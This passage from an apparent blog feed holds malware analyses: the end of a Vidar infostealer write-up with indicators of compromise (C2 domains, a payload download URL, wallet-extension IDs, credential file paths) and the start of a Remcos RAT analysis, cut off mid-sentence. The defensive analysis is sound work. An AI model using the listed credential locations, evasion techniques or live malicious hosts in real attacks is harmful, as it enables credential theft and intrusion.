|<br>| Oxygen (Atomic)           | fhilaheimglignddkjgofkcbgekhenbh |<br>| JaxxLiberty               | cjelfplplebdjjenllpjcblmjkfcffne |<br>| TezBox                    | mnfifefkajgofkcjkemidiaecocnkjeh |<br>| GuildWallet               | nanjmdknhkinifnkgdcggcfnhdaammmj |<br>| AuroWallet                | cnmamaachppnkjgnildpdmkaakejnhae |<br>| KHC                       | hcflpincpppdclinealmandijcmnkbgn |<br>| Coinbcase                 | hnfanknocfeofbddgcijnmhnfnkdnaad |<br>| LiqualityWallet           | kpfopkelmapcoipemfendmdcghnegimn |<br>| MetaMask                  | nkbihfbeogaeaoehlefnkodbefgpgknn |<br>| MetaMask                  | ejbalbakoplchlghecdalmeeeajnimhm |<br>| EVER Wallet               | cgeeodpfagjceefieflmdfphplkenlfk |<br>| KardiaChain               | pdadjkfkgcafgbceimcpbkalnfnepbnk |<br>| NiftyWallet               | jbdaocneiiinmjbjlgalhcelgbejmnid |<br>| CyanoWallet               | dkdedlpgdmmkkfjabffeganieamfklkm |<br>| iWallet                   | kncchdigobghenbbaddojjnnaogfppfj |<br>| PolymeshWallet            | jojhfeoedkpkglbfimdfabpdfjaoolaf |</pre><h4>Multi-Drive Data</h4><p>The malware scans for Windows Directory placeholders, and uses GetEnvironmentVariableA to resolve them and then enumerate all the files in the event the resolution succeeded.</p><p>When the malware executes, it first calls GetLogicalDrives() to enumerate all available drive letters (A-Z), then uses GetDriveType() to classify each drive as fixed (type 3), removable (type 2), or network (type 4).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*wH_zfbPE7Pq7wgSHHyyL7w.png" /><figcaption>%DRIVE_FIXED% — Internal hard drives (C:, D:, E:, etc.), %DRIVE_REMOVABLE% — USB flash drives, external HDDs</figcaption></figure><p>For example, a single attack configuration pattern like %DRIVE_FIXED%\Users\*\Documents\*.docx dynamically expands at runtime to search C:\Users\*\Documents\*.docx, D:\Users\*\Documents\*.docx, E:\Users\*\Documents\*.docx, and every other detected internal drive, automatically harvesting all Word documents across the entire system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aoPIg9b45zt-ECi62xcarg.png" /></figure><p>The environment variable resolution function (sub_14005F68C) first scans for Windows directory placeholders (%TEMP%, %DESKTOP%, %DOCUMENTS%) using find_substr_strstr(), resolves them via GetEnvironmentVariableA(), then XOR-decrypts the placeholder names to evade static detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*NxkHhXCeK0Im9w4c7WB1zA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*U1XYpmSGO1ImNPnCr0Rn3w.png" /></figure><p>This automated approach is particularly insidious because it operates continuously: whenever a user connects a USB drive containing backups or sensitive files, the malware immediately detects the new drive letter, expands its collection patterns to include it, and exfiltrates matching files within seconds, often before the user has even opened the drive to access their files.</p><h4>WinSCP Credentials and Registry Data</h4><p>The stealer exfiltrates WinSCP credentials via looking up the Sessions value name under HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions. But first, it checks if the user is using Master Password for WinSCP, if not then it proceeds with extracting the username and encrypted password values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*VPme3EZIrJguteHRoDlzCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*XpWpYu_FbyVPhpUe9y9vIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*kqsQO6F5W8Hfj0zo8LPNBw.png" /><figcaption>XOR-ing gives WinSCP registry location</figcaption></figure><p>The registry path HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions contains: saved server hostnames, usernames, <strong>encrypted passwords, </strong>and<strong> </strong>port numbers.</p><blockquote>WinSCP passwords are “encrypted” but <strong>not secure. </strong>They use a custom algorithm based on username and hostname, and they can be decrypted if we have the encrypted blob + username + hostname. That is why the malware seeks to exfiltrate them first.</blockquote><p>Other registries accessed include:</p><blockquote>HKEY_CURRENT_USER\Keyboard Layout\Preload — Previously covered</blockquote><blockquote>SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall — System profiling and target identification</blockquote><blockquote>HKEY_CURRENT_USER\* — Stores FTP Credentials</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X1jrmiqHJ2q8VsMJCjzzzg.png" /><figcaption>XOR-ing resulting in the register being mentioned</figcaption></figure><p>The malware enumerates the registry using RegEnumKeyExW and uses RegGetValueW to get the content of the register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jp3Ppt3nZLMbSGdIoH2-yw.png" /><figcaption>The use of RegEnumKeyExW (wide-character version) instead of RegEnumKeyExA indicates the malware properly handles Unicode registry keys, ensuring it can extract credentials containing international characters.</figcaption></figure><h4>Application-Specific Data Exfiltration Mechanisms</h4><p>Vidar will exfiltrate data from Telegram, Discord, Chrome, and Steam in the following manners:</p><ul><li><strong>Telegram</strong>: Vidar Stealer exfiltrates the files such as key_datas, maps, A7FDF864FBC10B77, A92DAA6EA6F891F2, F8806DD0C461824F (Telegram encrypted data files) from AppData\Roaming\Telegram Desktop\tdata folder. The attacker can then attempt to decrypt the files and extract sensitive information. The exfiltrated data is written to \Soft\Telegram\ folder.</li><li><strong>Discord</strong>: The stealer retrieves the files under AppData\Roaming\discord\Local Storage\leveldb and AppData\Roaming\discord\Session Storage\leveldb then it attempts to extract Discord tokens that will be written to \Soft\Discord\discord_tokens.txt</li><li><strong>Chrome</strong>: In order to decrypt credentials saved in Chrome, the stealer retrieves the AES encrypted key (encrypted_key) in Google\Chrome\User Data\Local State</li><li><strong>Steam</strong>: The stealer queries the registry value SteamPath under HKEY_CURRENT_USER\Software\Valve\Steam to obtain the full path to Steam on the machine. Then it starts retrieving SSFN, config.vdf, DialogConfig.vdf, DialogConfigOverlay.vdf, libraryfolders.vdf, loginusers.vdf files that contain sensitive information. By obtaining the SSNF files, the attacker can bypass Steam Guard and get the full access to the account, considering that an attacker was able to obtain user’s credentials.</li></ul><h4>System Information</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*naBZR1uw9v2zifYlFUH99w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*rpf3qamGlOrW3yNb8WmC0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*E0tdmnSETkt0DQKqxV6CnQ.png" /><figcaption>GetSystemInfo used for stealing System Information</figcaption></figure><h4>Machine Fingerprinting and Victim Tracking</h4><p>The malware generates a unique identifier to fingerprint each infected machine. It creates a hybrid ID by combining a randomly-generated GUID-like string with the victim’s Windows hardware profile GUID extracted via the GetCurrentHwProfileA() API call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*85itWp-93DRGWhSL-B_Lew.png" /><figcaption>extracting HW info for GUID</figcaption></figure><p>Using the wsprintfA() function, the stealer formats the whole as a GUID string that resembles A1B2C3D4-5E6F-78901234-{HW_PROFILE_GUID}, where the first portion is campaign-specific randomness and the second portion is the persistent hardware identifier from Windows.</p><p>This dual-component approach ensures each infected machine has a unique, trackable identity that remains consistent across reboots while also allowing the attacker to differentiate between infection campaigns, eg., 3F8A9B2C-1D4E-567890AB-{8E6D3C2B-1A4F-9E7D-2C5B-4A8E6D3C2B1A}</p><blockquote>This unique identifier is used to:</blockquote><blockquote>1. Track individual victims, as C2 server knows which machine sent data</blockquote><blockquote>2. Prevent duplicate processing, as the same machine won’t be reinfected.</blockquote><h4>Screen Resolution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*6drtF-U2wksEQ9152FzPUQ.png" /><figcaption>Stealing the screen resoution</figcaption></figure><h4>PE-Export Table (for dynamic API resolution)</h4><p>The malware leverages the PE export directory structure to implement dynamic API resolution through hash-based lookups, enabling it to call Windows API functions without maintaining a static import table that would reveal its capabilities to security analysts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*eRNMhz5RdMdLfEr5_rrQjw.png" /></figure><pre>PE Export Directory Structure<br><br>struct IMAGE_EXPORT_DIRECTORY {<br> DWORD Characteristics; // +0<br> DWORD TimeDateStamp; // +4<br> WORD MajorVersion; // +8<br> WORD MinorVersion; // +10<br> DWORD Name; // +12<br> DWORD Base; // +16<br> DWORD NumberOfFunctions; // +20<br> DWORD NumberOfNames; // +24<br> DWORD AddressOfFunctions; // +28<br> DWORD AddressOfNames; // +32<br> DWORD AddressOfNameOrdinals; // +36<br>};</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*TIjBjmyxihNEZJVPql6EFw.png" /><figcaption>The memset() call initializes a 64-character buffer (likely for storing function names during hash comparison) with a recognizable pattern of all &#39;G&#39; characters (0x47 repeated, creating &quot;GGGG…..GGG&quot;).</figcaption></figure><blockquote>The PE traversal enables the malware to locate functions like CreateFileA, WriteFile, RegEnumKeyExW, and CryptUnprotectData by computing hashes of export names and comparing them to pre-calculated target hashes, completely bypassing the import address table (IAT) that security tools monitor for suspicious API usage patterns.</blockquote><h3>Anti-Analysis Mechanisms used by the Stealer</h3><h4>Debugger Checks</h4><p>The malware checks for presence of a debugger using APIs like IsDebuggerPresent() and CheckRemoteDebuggerPresent()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*-AwL2pKfw_H7SoiG20wFCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*ToLEHa8o48fTDKkHoSvYnQ.png" /><figcaption>Debugger-checking APIs</figcaption></figure><h4>0xDEADBEEF Check</h4><p>0xDEADBEEF is a marker which debuggers commonly insert when modifying memory or setting breakpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*DH2BvBAm6REA3LubBkdT0A.png" /><figcaption>0xDEADBEEF check</figcaption></figure><p>If 0xDEADBEEF is found anywhere in the scanned memory region, the malware makes sure to punish the analyst for trying to analyze the file, and triggers an infinite loop while(1) ; (at lines 40-41), effectively freezing execution and forcing the analyst to restart their analysis session.</p><h4>PE Checks</h4><p>The malware attempts various ways of checking on the validity and integrity of the PE, as an anti-analysis mechanism in case anything changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*VxNZNwAezu_IyzjMxSj-OQ.png" /><figcaption>Entry Point check</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*WxhxCrATMw9Avwkr4jhMtQ.png" /><figcaption>Magic Byte check</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dBP94SPoUZx-pV96rkwN0A.png" /><figcaption>PE validation</figcaption></figure><h4>Pseudo-Random Number Generator</h4><p>The malware implements a sophisticated pseudo-random number generator (PRNG) with fallback seed mechanisms to ensure unique, unpredictable values are generated for machine identification, encryption keys, and timing randomization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*tkq2iK4Mn1iHwIHc7hI9XA.png" /><figcaption>PRNG system used by the stealer</figcaption></figure><p>This PRNG system uses multiple entropy sources combined with hardcoded fallback constants to guarantee randomness even in environments where traditional entropy sources might fail or be monitored by security tools.</p><h4>Anti-VM and Sandbox Mechanism</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*AV6M0wBllfStwCPNpphEyg.png" /><figcaption>These APIs are used to collect basic hardware characteristics of the machine, such as CPU architecture, processor count, and total physical RAM. Sandboxes and malware analysis VMs are often configured with very small resources (like 1–2 CPU cores and 2–4 GB RAM), so malware checks these values to guess whether it is running inside an artificial environment.</figcaption></figure><h3>Sending the Exfiltrated Data over the Internet</h3><p>To transmit the information outward, the stealer constructs HTTP-based POST requests that embed system identifiers and victim metadata alongside the stolen content.</p><p>Before sending, the malware often generates a unique victim fingerprint (as seen above), so the attacker can distinguish one infected host from another.</p><p>Many strings such as URLs, request templates, and parameter names are stored XOR-encrypted in the binary and only decrypted at runtime, which helps the malware evade static detection and signature-based scanning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QfMWuhratPpr-S6zriTfoQ.png" /><figcaption>the obfuscated website &amp; packet details are only decrypted at runtime</figcaption></figure><h4>HTTPS Request Construction &amp; Transmission Routine</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*9THDotsKapxEYH0Ya9RyXQ.png" /><figcaption>HTTPS packet construction</figcaption></figure><p>Decryption of byte_140073550 turned out to give the packet description as expected, with the %s variables being filled up at runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*4q-AUVKsPPXt_DQYBNBEXQ.png" /><figcaption>byte_140073550 = packet_details</figcaption></figure><h4>Preparing the stolen data</h4><p>The malware collects all the stolen passwords and puts it in a file named passwords.txt , ready to send it to the C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*WbEXV9IK-UQE-e_U8oRDSQ.png" /><figcaption>XOR of qword_140001A93B with 0xB5</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*SBgNEK3lYP7-ut4rH3BMdQ.png" /><figcaption>Preparing Data</figcaption></figure><h4>HTTPS Transmission Routine</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*ejL-A-pefG3Dor7CeR0gWA.png" /><figcaption>Malware often prefers HTTPS traffic, as it blends into normal encrypted web traffic and makes network inspection harder.</figcaption></figure><p>Inspecting the network traffic led to a website registered under Ukranian .ua domain, <strong>https[:]//cbb[.]lidiia[.]com[.]ua/</strong></p><p>Found a function which verifies C2 location, by checking for .me/ in string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*VsUK_cj9fuvylu2NqPzRMw.png" /><figcaption>copies “.me/” to the string, meaning the C2 is related to Telegram (all telegram websites are in the format ‘t.me/&lt;profile_id&gt;’)</figcaption></figure><p>Further digging led me to this telegram profile, possibly Slavic. <strong>https[:]//telegram[.]me/n1ds03</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*MFF4bCnAmlniHPKnmXI39w.png" /><figcaption>Telegram C2 location</figcaption></figure><h4>Sending Data</h4><p>The stealer decrypts lots of variables at runtime, and uses XOR to verify if its sending the right data. Some examples,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*y8vqoH_uryW-RtQprrXiVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*x0XO1CcnGBWTCPsgAVhYrQ.png" /><figcaption>Checking if the right data is being sent</figcaption></figure><p>And then the stealer finally sends the data to the C2 server. It looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*hSxevDzSSXifkPAxF1p_og.png" /><figcaption>Data the stealer malware sends to the C2 server</figcaption></figure><p>This concludes my analysis of this infostealer malware.</p><p><strong>_______________________________________________________________</strong></p><h3>Indicators of Compromise (IoCs)</h3><pre>Domains<br>| Type   | Indicator               | Description                                                                          |<br>| ------ | ----------------------- | ------------------------------------------------------------------------------------ |<br>| Domain | radheindcorp[.]com      | Compromised legitimate business domain hosting ClickFix fake Cloudflare CAPTCHA page |<br>| Domain | cbb[.]lidiia[.]com[.]ua | Observed HTTPS-based exfiltration / C2 endpoint                                      |<br>| Domain | telegram[.]me/n1ds03    | Suspected threat actor Telegram-linked infrastructure                                |<br><br>IP Addresses<br>| Type | Indicator     | Description                                             |<br>| ---- | ------------- | ------------------------------------------------------- |<br>| IP   | 178.16.53.70  | Stage-1 PowerShell downloader retrieves Stage-2 payload |<br>| IP   | 94.154.35.115 | Payload hosting server used for loader communication    |<br><br>URLs<br>| Type | Indicator                                               | Description                                               |<br>| ---- | ------------------------------------------------------- | --------------------------------------------------------- |<br>| URL  | http://94.154.35.115/user_profiles_photo/cptchbuild.bin | Donut-encrypted second-stage payload fetched via HTTP GET |<br><br>Malware Payload Files<br>| File Name          | Role / Description                                                           |<br>| ------------------ | ---------------------------------------------------------------------------- |<br>| cptch.bin          | Donut-packed shellcode blob disguised as CAPTCHA-related binary              |<br>| mod_cptch.bin      | Decrypted Donut inner loader component                                       |<br>| cptchbuild.bin     | Second-stage encrypted payload retrieved from C2                             |<br>| mod_cptchbuild.bin | Final-stage Vidar stealer core with heavy obfuscation and data theft modules |<br><br>Registry Persistence and Credential Theft<br>| Registry Key Path                              | Purpose                                                                                   |<br>| ---------------------------------------------- | ----------------------------------------------------------------------------------------- |<br>| HKCU\Keyboard Layout\Preload                   | Persistence via keyboard layout preload hijack (early execution before AV initialization) |<br>| HKCU\Software\Martin Prikryl\WinSCP 2\Sessions | Extraction of saved WinSCP usernames and encrypted passwords                              |<br>| HKCU\Software\Valve\Steam                      | SteamPath discovery for harvesting SSFN/config files                                      |<br><br>Targeted Application Paths<br>| Application         | Artifact Location                                   | Description                                        |<br>| ------------------- | --------------------------------------------------- | -------------------------------------------------- |<br>| Telegram            | %AppData%\Telegram Desktop\tdata\                   | Steals encrypted session and key files             |<br>| Discord             | %AppData%\discord\Local Storage\leveldb\            | Extracts Discord authentication tokens             |<br>| Discord             | %AppData%\discord\Session Storage\leveldb\          | Additional session token harvesting                |<br>| Chrome              | %LocalAppData%\Google\Chrome\User Data\Local State  | Retrieves AES key for decrypting browser passwords |<br>| Chromium Extensions | IndexedDB\chrome-extension_&lt;ID&gt;_0.indexeddb.leveldb | Harvests wallet extension vault blobs and secrets  |<br><br>Process Injection Targets<br>| Process Name | Description                                                    |<br>| ------------ | -------------------------------------------------------------- |<br>| svchost.exe  | Used as process hollowing/injection host for stealth execution |</pre><p><strong>_______________________________________________________________</strong></p><h3>MITRE ATT&amp;CK Mapping</h3><pre>Initial Access<br>| Technique ID | Name                         | Evidence in Campaign                                                        |<br>| ------------ | ---------------------------- | --------------------------------------------------------------------------- |<br>| T1189        | Drive-by Compromise          | Victims land on compromised legitimate domain serving malware delivery page |<br>| T1566.002    | Phishing: Spearphishing Link | Fake Cloudflare verification used as social engineering lure                |<br><br>Execution<br>| Technique ID | Name           | Evidence in Campaign                                        |<br>| ------------ | -------------- | ----------------------------------------------------------- |<br>| T1059.001    | PowerShell     | PowerShell `iex` download cradle used for payload execution |<br>| T1204.002    | User Execution | Victim manually pastes command via Win+R ClickFix technique |<br><br>Persistence<br>| Technique ID | Name                                          | Evidence in Campaign                                                   |<br>| ------------ | --------------------------------------------- | ---------------------------------------------------------------------- |<br>| T1547.001    | Registry Run Keys / Startup Execution         | Persistence achieved through registry modification                     |<br>| T1546.010    | Event Triggered Execution: IME Load Mechanism | Keyboard Layout Preload abused to execute malicious DLL via ctfmon.exe |<br><br>Privilege Escalation<br>| Technique ID | Name                                             | Evidence in Campaign                                     |<br>| ------------ | ------------------------------------------------ | -------------------------------------------------------- |<br>| T1134        | Access Token Manipulation / Privilege Adjustment | Loader enables SeDebugPrivilege for process manipulation |<br><br>Defense Evasion<br>| Technique ID | Name                                     | Evidence in Campaign                                                |<br>| ------------ | ---------------------------------------- | ------------------------------------------------------------------- |<br>| T1027        | Obfuscated/Encrypted File or Information | Donut packing, XOR + string reversal encryption                     |<br>| T1140        | Deobfuscate/Decode Files                 | Runtime-only decryption of strings and network indicators           |<br>| T1055        | Process Injection                        | Injection/hollowing into svchost.exe                                |<br>| T1622        | Debugger Evasion                         | Uses IsDebuggerPresent and CheckRemoteDebuggerPresent               |<br>| T1497.001    | Virtualization/Sandbox Evasion           | Hardware profiling (CPU/RAM checks) to detect analysis environments |<br><br>Discovery<br>| Technique ID | Name                         | Evidence in Campaign                                       |<br>| ------------ | ---------------------------- | ---------------------------------------------------------- |<br>| T1082        | System Information Discovery | GetSystemInfo used for victim profiling                    |<br>| T1012        | Query Registry               | Enumerates registry for installed software and credentials |<br>| T1083        | File and Directory Discovery | Scans browser profiles, extension databases, wallet files  |<br><br>Credential Access<br>| Technique ID | Name                             | Evidence in Campaign                                              |<br>| ------------ | -------------------------------- | ----------------------------------------------------------------- |<br>| T1555        | Credentials from Password Stores | Chrome AES key + DPAPI-based password recovery                    |<br>| T1552.001    | Credentials in Files             | Stages stolen passwords into passwords.txt for exfiltration       |<br>| T1056.001    | Input Capture: Keylogging        | Persistence via keyboard layout preload enables keystroke capture |<br><br>Collection<br>| Technique ID | Name                   | Evidence in Campaign                               |<br>| ------------ | ---------------------- | -------------------------------------------------- |<br>| T1005        | Data from Local System | Harvests browser data, wallet.dat, keystore JSON   |<br>| T1115        | Clipboard Data         | ClickFix relies on clipboard paste execution chain |<br><br>Command and Control<br>| Technique ID | Name                           | Evidence in Campaign                                    |<br>| ------------ | ------------------------------ | ------------------------------------------------------- |<br>| T1071.001    | Web Protocols                  | HTTP GET/POST via WinHTTP with minimal UA string        |<br>| T1573.002    | Encrypted Channel: HTTPS       | HTTPS exfiltration blends into normal encrypted traffic |<br>| T1090        | Proxy/Redirected Communication | Telegram-linked infrastructure used for coordination    |<br><br>Exfiltration<br>| Technique ID | Name                         | Evidence in Campaign                                  |<br>| ------------ | ---------------------------- | ----------------------------------------------------- |<br>| T1041        | Exfiltration Over C2 Channel | Data transmitted outward via HTTP POST requests       |<br>| T1020        | Automated Exfiltration       | Continuous harvesting across drives and user profiles |</pre><p><strong>_______________________________________________________________</strong></p><p>Hope you found this article insightful. Follow me for similar content like this!!</p><p>My LinkedIn: <a href="https://www.linkedin.com/in/rd-tarun">https://www.linkedin.com/in/rd-tarun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c6e9540779d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remcos RAT]]></title>
            <link>https://medium.com/@tarunrd77/remcos-rat-8ffe2e244c2d?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ffe2e244c2d</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[virus]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Tue, 02 Dec 2025 13:30:27 GMT</pubDate>
            <atom:updated>2025-12-02T13:30:27.571Z</atom:updated>
            <content:encoded><![CDATA[<h4>Dissecting a Stealthy RAT Built for Covert Surveillance and Control</h4><p>Hi all, today I present to you, <a href="https://bazaar.abuse.ch/sample/1a5ad9ae7b0dcdc2edb7e93556f2c59c84f113879df380d95835fb8ea3914ed8/">Remcos</a>, a Remote Access Trojan (RAT) that continues to wreak havoc on systems throughout the world. The way in which this malware operates and neutralizes detection is something that I’ve never seen before. Keep reading for the fun part ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*h60Vr9zdDKqkxnctBMtoAQ.png" /><figcaption>The file at hand—a .cmd script</figcaption></figure><p>_________________________________________________________________</p><h3>Executive Summary</h3><p>This analysis examines a sophisticated Remcos RAT (Remote Access Trojan) deployment featuring advanced anti-detection mechanisms, fileless execution, AMSI bypass techniques, and Windows Defender evasion. The malware demonstrates layers of obfuscation and establishes robust persistence through both scheduled tasks and registry modifications. Although its C2 communication did not receive responses due to containment, the malware demonstrated multiple suspicious actions that strongly indicate malicious intent.</p><p>_________________________________________________________________</p><h3>Impact Assessment</h3><pre>| Category             | Impact                                                                                                                                                                                                                         |                                     <br>|----------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|<br>| Data Confidentiality | CRITICAL – Complete data exfiltration possible (credentials, banking data, PII, intellectual property). Keylogging, screenshots, clipboard theft, and file exfiltration capabilities allow full visibility into user activity. |<br>| System Integrity     | CRITICAL – Security controls disabled (AMSI patch, Windows Defender neutralized). Attacker gains SYSTEM-level control and can execute arbitrary payloads, modify system files, and establish persistence. |<br>| Detection Difficulty | CRITICAL – Fileless execution, AMSI bypass, Defender tampering, and anti-analysis techniques significantly reduce detection by traditional AV/EDR. Requires behavioral and memory-based detection. |<br>| Scope of Compromise  | CRITICAL – Full control over the infected host. High potential for credential theft and lateral movement to domain controllers, file servers, and other critical infrastructure. |<br>| Privacy Impact       | CRITICAL – User activity fully monitored (keystrokes, screenshots, camera/mic, clipboard). Violates privacy regulations and risks severe legal consequences. |<br>| Compliance Impact    | CRITICAL – Triggers breach notification laws and may violate PCI-DSS, HIPAA, SOX, GDPR depending on environment. Regulatory penalties possible. |</pre><p>_________________________________________________________________</p><h3>Technical Analysis</h3><h4>P1: Failure of Static Analysis Methods</h4><p>I opened the file in Notepad++, only to see heavily obfuscated and possibly encrypted text, which I could not make the slightest sense of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AytJYebSUKd6M9rtWjaq4g.png" /><figcaption>the raw .cmd file — heavy obfuscation.</figcaption></figure><p>Other static analysis tools did not reveal anything, because .cmd files are basically like .txt .</p><p>So I was left with no choice but to proceed with Dynamic Analysis.</p><h4>P2: Dynamic Analysis</h4><p>I set up the VM accordingly and proceeded to detonate the malware.</p><p>Upon execution, the .cmd file creates a folder PS_Transcripts on the desktop, a .cmd window appears and executes a raw in-memory payload, and the window proceeds to close, all within seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*8nB1hU2dLflE0NrmktquwA.png" /><figcaption>the payload that is automatically typed out and executed by the file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/97/1*JEyRuViKgfq-9HoduHDv0Q.png" /><figcaption>the folder created by the file — Desktop</figcaption></figure><p>FakeNet recorded potentially malicious network traffic, including a HTTP GET request that seemed to have a concatenated encrypted payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HSwfO10I08jY7HN8kLQ_Lg.png" /></figure><p>Using Process Monitor to monitor processes, I picked up on some pretty interesting things in the Process Tree.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tNQrgC6Ew0nJt20I4VqEmw.png" /></figure><p>We see that the process with PID 2752 created a file in the Startupfolder, which is startup persistence, meaning every time the device boots up, the files in this folder will get executed first.</p><p>I did check out the Startup folder, and sure enough, as I expected it to be, the malware created a copy of itself in the Startup folder (identical code).</p><blockquote>So the malware does enforce startup persistence.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*JAA4dCcCFpFiiNK1l1Ereg.png" /><figcaption>Network89398Man.cmd—the copy of our initial file that was created in the Startup folder</figcaption></figure><p>I also spotted another process with PID 2872 that used <a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page">WMI </a>to get the details of the antivirus (data stealing)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1VVt2VEIxsgcw4EjtpZWog.png" /></figure><p>Upon further examination, I hit the jackpot.</p><p>I found PID 3164 that executed an encrypted payload, which I think is the main command responsible for the functioning of the malware as a whole.</p><p>So I copied it and examined it further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-_5muarfIP_PAENGtUeWw.png" /></figure><h4>P3: Breaking Encrypted Text</h4><p>The payload looks kinda messy, but the decryption was simple—just basic substitution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uPHNd9NoYjtPatb8kemmAA.png" /><figcaption>the payload (?) text</figcaption></figure><p>After substituting all the text and formatting it properly, this is what I ended up with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQIVs_dAovtXRzzxRDSHXg.png" /><figcaption>the decrypted code</figcaption></figure><p>After taking a look at this, I realized why I wasn’t able to decrypt the text in the original .cmd file—<strong>the text is encrypted by AES and compressed by Gzip.</strong></p><blockquote>This means that the lines of code we have now are the ones the malware uses for decrypting the encrypted payload it injects into the system.</blockquote><p>Wow!! Now, the whole task becomes clear. Opening <a href="https://cyberchef.io/">CyberChef </a>to perform decryption of the initial .cmd file,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*_Gtd3j0UYIT_akS_31FFlQ.png" /><figcaption>MZ and the string confirms that this is an .exe file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*SoED-YTUNl_b0sgM9h1IDA.png" /><figcaption>Decrypting the 2nd encrypted line in the initial file</figcaption></figure><p>Therefore, we obtained 2 .exe files; I saved them as payload1.exe and payload2.exe.</p><p>DIE tells us that they are .NET files (C#), so now we will use dnSpy to examine them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*veT2cNRkgNrdstgvtplaSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*Z-bfqJxJtfMERP6o6xxzag.png" /><figcaption>Detect It Easy (DIE) results for the 2 files.</figcaption></figure><h4>P4: DotNET and dnSpy</h4><h4>payload1.exe—The Malicious Code</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*3vyPKeHu_caMX9-14DuuCQ.png" /><figcaption>Entry Point for the file</figcaption></figure><p>As noted in payload1.exe’s DIE result, an anti-debugger mechanism was noticed. This basically tells the program to quit if debugger functionality was detected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0tIUVgOOz3KrvODdMqwm3Q.png" /></figure><p>Examined the methods Uncompress() and GetEmbeddedResource() that the malware uses for fileless loading (in-memory)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*HXL8xlTVqNFquNOcE92ZKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*okx61KhO8rYx6qVoA_gbGQ.png" /><figcaption>methods used for manually loading the PE</figcaption></figure><p>Now, onto the core functionalities:</p><p>-&gt;InstallStartup() — enforces different persistence mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOJRMOrAICwkp8MTqpzz_A.png" /><figcaption>InstallStartup()</figcaption></figure><p>-&gt;IsStartup() — checks the singularity of a persistence mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x65_qc6l0jreb5kWUaXmXQ.png" /><figcaption>IsStartup()</figcaption></figure><p>-&gt;DisableWindowsDefender() — responsible for disabling Windows Defender by including all possible logical drives into the <a href="https://learn.microsoft.com/en-us/defender-endpoint/configure-exclusions-microsoft-defender-antivirus">Exclusion 